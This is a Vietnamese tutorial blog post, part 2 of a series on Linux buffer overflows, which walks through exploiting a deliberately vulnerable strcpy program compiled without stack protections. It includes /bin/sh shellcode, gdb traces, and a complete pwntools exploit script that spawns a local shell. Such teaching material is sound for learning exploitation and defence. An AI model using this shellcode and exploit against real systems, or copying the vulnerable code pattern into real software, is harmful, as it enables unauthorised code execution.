- vừa được xem lúc

Basic Linux Exploit - Buffer Overflow - Phần 2 - Tạo shell với lỗi buffer overflow

0 0 36

Người đăng: Vương Lê

Theo Viblo Asia

Chào mọi người, nối tiếp phần 1, phần 2 mình sẽ thực hiện khai thác lỗi buffer overflow để lấy shell bằng cách sử dụng thư viện pwntools của python3. Dưới đây là mã C của chương trình khai thác phần trước.

#include <stdio.h>
#include <string.h> int main(int argc, char *argv[]){ char array[64]; if(argc>1) strcpy(array, argv[1]);
}

Các bạn compile chương trình bằng mã sau (phần 1):

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim

1. Giới thiệu về thư viện pwntools

  • Cách cài đặt trên python3
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

Các bạn có thể đọc thêm về thư viện ở đây: https://docs.pwntools.com/en/stable/install.html

  • Một số function cơ bản:

Packing, unpacking string:

  • p32(), p64(): packing 32bits và 64bits, ex: p32(0xdeadbeef) = b"\xef\xbe\xad\xde"
  • u32(), u64(): unpacking 32bits và 64bits, ex: hex(u32( b"\xef\xbe\xad\xde")) = 0xdeadbeef

Assemble và disassemble code:

  • asm(): Ex: asm('nop') = b'\x90'
  • disasm(): Ex: disasm(b'\x8b\x45\xfc') = 0: 8b 45 fc mov eax, DWORD PTR [ebp - 0x4]

2. Lấy shell với pwntools và shellcode

Mình có shellcode để tạo 1 shell như sau:

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

Trong series này mình sẽ hướng dẫn các bạn viết shellcode của riêng mình, tuy nhiên không phải ở bài này.

Tiến hành khai thác:

Như đã nói ở bài trước, sau khi dùng gdb để debug, ta tính toán ra số byte cần thêm vào buffer để điều khiển được con trỏ trả về (eip) trong ngăn xếp là:

số bytes = 64 bytes array + 4 bytes ebx + 4 bytes ebp + 4 bytes eip = 76 bytes

Đầu tiên, mình tính toán số bytes của shellcode bằng printf và wc:

┌──(kali㉿kali)-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c 40

Vậy shellcode có độ dài là 40 bytes Sau đó mình tạo 1 file exploit.py để tiến hành khai thác:

exploit.py

from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits
shellcode = b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" #40 bytes
eip = p32()
nops = b'\x90'*(76 - len(shellcode)- len(eip)) payload = nops + shellcode + eip
p = process(["./victim", payload])
p.interactive()

Tuy nhiên, chúng ta gặp 1 vấn đề, đó là địa chỉ trả về (return address cần được tính toán, trỏ về đầu shellcode (hoặc trỏ vào nop)). Nói 1 chút về nop,là 1 lệnh "không làm gì cả", khi gặp lệnh này, đơn giản sẽ trượt đến câu lệnh tiếp theo.

Nếu sử dụng gdb để debug, ta có thể biết được địa chỉ bắt đầu của buffer, tuy nhiên địa chỉ này và địa chỉ chạy trong chương trình python của chúng ta khác nhau, vì môi trương chạy khác nhau. Vì vậy mình sử dụng chương trình C dưới đây để tính toán độ lệnh giữa gdb và python.

find_start.c

// find_start.c
unsigned long find_start(void)
{ __asm__("movl eax, esp");
} int main()
{ printf("0x%x\n",find_start());
}

Compile chương trình: gcc -m32 find_start.c -o find_start

  • Tính toán find_start trong gdb: Mở gdb victim, tạo breakpoint và run chương trình như sau:
gef➤ b *main
Breakpoint 1 at 0x118d
gef➤ r ./find_start

Như vậy chương trình sẽ chạy với đối số là ./find_start, ta cần biết giá trị của find_start lưu trong stack. Tiến hành disassemble main. Ta được:

gef➤ disassemble main
Dump of assembler code for function main:
=> 0x5655618d <+0>: push ebp 0x5655618e <+1>: mov ebp,esp 0x56556190 <+3>: push ebx 0x56556191 <+4>: sub esp,0x40 0x56556194 <+7>: call 0x565561c5 <__x86.get_pc_thunk.ax> 0x56556199 <+12>: add eax,0x2e5b 0x5655619e <+17>: cmp DWORD PTR [ebp+0x8],0x1 0x565561a2 <+21>: jle 0x565561bb <main+46> 0x565561a4 <+23>: mov edx,DWORD PTR [ebp+0xc] 0x565561a7 <+26>: add edx,0x4 0x565561aa <+29>: mov edx,DWORD PTR [edx] 0x565561ac <+31>: push edx 0x565561ad <+32>: lea edx,[ebp-0x44] 0x565561b0 <+35>: push edx 0x565561b1 <+36>: mov ebx,eax 0x565561b3 <+38>: call 0x56556040 <strcpy@plt> 0x565561b8 <+43>: add esp,0x8 0x565561bb <+46>: mov eax,0x0 0x565561c0 <+51>: mov ebx,DWORD PTR [ebp-0x4] 0x565561c3 <+54>: leave 0x565561c4 <+55>: ret End of assembler dump.

Nhận thấy hàm strcpy@plt tại 0x565561b3. Tạo breakpoint ngay sau đó để xem kết quả, vì find_start được copy vào buffer.

gef➤ b *0x565561b8
Breakpoint 2 at 0x565561b8

Chạy tiếp chương trình, ta được kết quả trong stack như sau:

0xffffd08c│+0x0000: 0xffffd094 → "./find_start" ← $esp
0xffffd090│+0x0004: 0xffffd381 → "./find_start"
0xffffd094│+0x0008: "./find_start"
0xffffd098│+0x000c: "nd_start"
0xffffd09c│+0x0010: "tart"
0xffffd0a0│+0x0014: 0xf7fc3100 → 0x00000000
0xffffd0a4│+0x0018: 0xf7fda60c → mov edi, eax
0xffffd0a8│+0x001c: 0xf7c183e9 → "_dl_audit_preinit"

Như vậy trong gdb ./find_start = 0xffffd094

Tiếp theo, chỉnh sửa 1 chút chương trình python để in ra kết quả find_start:

from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits
p = process(["./find_start"])
print(p.readline().strip())

Kết quả như sau:

$ python3 exploit.py
[+] Starting local process './find_start': pid 93783
[*] Process './find_start' stopped with exit code 0 (pid 93783)
b'0xffffd138'

Vậy ./find_start trong python là 0xffffd138 => Độ lệnh giữa 2 môi trường là: python - gdb = 0xffffd138 - 0xffffd094 = 164 => python = gdb + 164

Tiếp theo, debug với gdb ta tìm được điểm bắt đầu của shellcode bằng cách chạy chương trình với 76 bytes input. r python2 -c 'print("A"*76)'

0xffffd054: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd064: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd074: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd084: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd094: 0x41414141 0x41414141 0x41414141 0x00000000

Vậy kết quả trong gdb là 0xffffd054 => Oke, ta có chương trình python hoàn thiện như sau:

exploit.py

from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits
shellcode = b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" #40 bytes
eip = p32(0xffffd054 + 164)
nops = b'\x90'*(76 - len(shellcode)- len(eip)) payload = nops + shellcode + eip
p = process(["./victim", payload])
p.interactive()

Kết quả nhận được:

$ python3 exploit.py
[+] Starting local process './victim': pid 97030
[*] Switching to interactive mode
$ ls
core exploit.py find_start find_start.c victim victim.c
$ whoami
kali
$ 

Vậy là ta đã có được 1 shell. Trong phần tiếp theo, mình sẽ hướng dẫn cách lấy 1 shell với buffer nhỏ, không đủ chứa shell đầu vào.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Docker: Chưa biết gì đến biết dùng (Phần 3: Docker-compose)

1. Mở đầu. . .

0 0 121

- vừa được xem lúc

Các command trên ubuntu (chiếm 80%) - phần 5

Hello 500 ae, sau 4 số trong seri này mình thấy có vẻ ae có hứng thú đọc chủ đề này ghê. Hi vọng những gì mình tìm hiểu được sẽ giúp ích được cho nhiều bạn hơn.

0 0 51

- vừa được xem lúc

Những lệnh command shell linux cơ bản có thể bạn chưa biết - Phần 1

Bài viết này sẽ liệt kê một số command cơ bản thường được dùng trong linux, tiện dụng cho các bạn khi sử dụng linux mà có thể bạn chưa biết. Tôi là ai, câu lệnh này sẽ cho bạn biết bạn đang sử dụng linux bằng tài khoản người dùng nào.

0 0 55

- vừa được xem lúc

Cách sử dụng lệnh SCP để truyền tệp an toàn

SCP (secure copy) là một tiện ích dòng lệnh cho phép bạn sao chép an toàn các tệp và thư mục giữa hai vị trí. . From your local system to a remote system. Between two remote systems from your local system.

0 0 55

- vừa được xem lúc

Người ta làm cách nào để backup thường xuyên thư mục rất lớn?

. Vấn đề về sao lưu thư mục lớn. Mình có lưu "sương sương" 300GB các tệp tin của người dùng upload lên, như hình ảnh hay các tệp đính kèm.

0 0 49

- vừa được xem lúc

Các command trên ubuntu (chiếm 80%) - phần 4

Sau một kì nghỉ tết trong thời buổi đại dịch vừa qua. Không còn những buổi dong chơi đi chúc tết nữa. Ở nhà ra số tiếp theo cho anh em đây. Dưới đây sẽ là 2 command được sử dụng nhiều nhất khi sử dụng file.

0 0 52